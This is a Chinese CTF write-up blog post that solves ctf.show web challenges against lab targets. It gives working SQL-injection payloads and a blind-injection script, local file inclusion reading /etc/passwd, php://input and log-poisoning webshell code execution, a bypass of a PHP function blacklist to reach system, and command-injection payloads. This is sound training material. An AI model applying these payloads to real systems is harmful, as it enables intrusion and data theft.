WEB
web2

首先题目提示是sql注入,进入之后是个登录框

用万能密码注入,成功登录

再在bp中注入,查看回显点

回显点为2位置,于是查看当前数据库名

当前数据库名为web2,再查看数据库中表名

刚开始误以为有个表名叫flag欢迎你,后来发现理解错了,其实两个表分别为flag和user
再查字段名,注意表名要加单引号

看到有一个字段flag,就是它了

我只写了一种方法,但是在此引用一下一位大佬的博客,写得很详细
https://www.cnblogs.com/anweilx/p/12360392.html
web3
打开靶机,提示为文件包含漏洞

测试一下
https://d7c9f3d7-64d2-4110-a14b-74c61f65893c.chall.ctf.show/?url=../../../../../../../../../../etc/passwd
测试成功,确实存在文件包含漏洞

此题考的是PHP伪协议+文件包含,实现任意命令执行
构造url并抓取数据包
https://d7c9f3d7-64d2-4110-a14b-74c61f65893c.chall.ctf.show/?url=php://input

开始试验,查询当前目录下的文件结构

查看ctf_go_go_go文件内容

web4
打开靶机,和上题样子一样

但是按照上题的方法,却会报错
这题是要通过日志文件,来写入一句话木马
首先,查看一下日志文件/?url=/var/log/nginx/access.log

可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息,然后用bp抓包,再在User-Agent里面写入一句话木马

然后蚁剑连接日志目录

使用蚁剑的文件管理功能,www目录下有一个flag.txt文件,很明显flag就在这里面

打开就有flag了

web5

题目代码并不难,大体意思就是说:要满足v1是字母,v2是数字,并且v1和v2的哈希值相等,这样flag才会出来
这题考的是md5值相等值不相等,PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。当然,安全的比较方法是三个=,也就是“===”。
构造例子/?v1=QNKCDZO&v2=240610708
得到flag
web6
这题和web2不同的就是,过滤了空格,只要把web2的空格全都换成/**/其他都不变
红包题 耗子尾汁
又是一道php代码审计的题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-11-30 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-30 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";
hackerrlezphp!!!
可以看到a不能在dis这个数组里,否则就会报错,这里主要考察的就是forward_static_call_array这个函数
forward_static_call_array — Call a static method and pass the arguments as array,也就是可以调用静态方法并且将数组作为参数
因此有两种方法
一种是:先a=\system&b[]=ls 之后a=\system&b[]=cat flag.php
还有一种套娃:a=forward_static_call_array&b[]=system&b[1][0]=ls
[nl]难了
同样是一道php代码审计,代码也比较简单
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
//by Firebasky
//by Firebasky
意思就是说传入的1参数的值的长度要小于4,才能执行
应该是是RCE读取当前php,要求指令长度小于4,只能用nl读取
Linux中可以将文件名作为函数和参数,通过星号通配执行
先新建一个名称为nl的文件作为指令
?1=>nl
右尖括号表示将右尖括号左边的内容写入右边文件,所以就相当于新建了一个nl空文件
接着读取当前的php,我们预期是执行nl xxx.php,这里由于不知道这个php的名称,无法执行
?1=*>z
这个操作的意思是:根目录下有两个文件,一个是我们新建的nl,还有一个是当前的xxx.php
将这两个文件写入z文件,最后访问这个z文件就会自动执行nl xxx.php
访问http://(url)/z时,可下载php到本地,包含了flag
一.萌新赛
1.签到题

命令执行漏洞,构造payload使前后语句闭合,如下:
/?url=127.0.0.1;ls;com(com可以任意替换)
然后发现两个文件,一个是flag还有一个就是index.php
然后再构造payoad:
/?url=127.0.0.1;cat flag;com
得到flag
2.萌新记忆
进去后依次点了下那四个栏目,然后不知不觉就读完了。。但是没有发现什么 就用御剑扫了一下,发现一个可疑url:
http://b589147c-b05f-4b71-8883-5789b4a8e5e2.challenge.ctf.show:8080/admin/
进去后是一个登录页面,怀疑是sql注入,试了几个:
'||'a'<'b 密码错误(说明账号对了,也就是我们盲注成功的信息)
'||'a'<'a 用户名/密码错误
'||aaaaaaaaaaaaaaaaaaaaa 用户名错误(用户名长度超过20即会此报错)
试了下admin,提示密码错误,说明用户名的确是admin,那么问题就是要输入正确的密码,bool盲注一下:
1'||length(p)<'18 密码错误 成功,说明密码就是17位
然后写个脚本,跑出正确的密码
import requests
url = "http://b589147c-b05f-4b71-8883-5789b4a8e5e2.challenge.ctf.show:8080/admin/checklogin.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz"
flag = ""
for i in range(1, 18):
for j in letter:
payload = "'||substr(p,{},1)<'{}".format(i, j)
data = {
'u': payload,
'p': 1
}
res = requests.post(url=url, data=data).text
if "密码错误" == res:
flag += chr(ord(j)-1)
print(flag)
break
得到如下:

最后一个即为admin的密码,登录得到flag
3.假赛生

题目如上,看下面一段,可以发现出现flag有几个条件:
其一,name要为admin
其二,get传入参数c,不能被/\w\W*/匹配到、
所以根据题目提示,有两个页面,一个是register.php注册页,还有一个是login.php登录页面
于是我们注册一个admin,密码随便,得到:

试着注册时在admin后面加个空格,然后就显示注册成功了

所以第一步算是完成,接下来就是登录,然后get传参绕过
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"
能输入的都被过滤了,干脆什么都不输,直接来:
http://d263a143-c721-4698-8b98-0bb044d014a5.challenge.ctf.show:8080/index.php?c=
然后就得到flag了

本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/15181051.html

浙公网安备 33010602011771号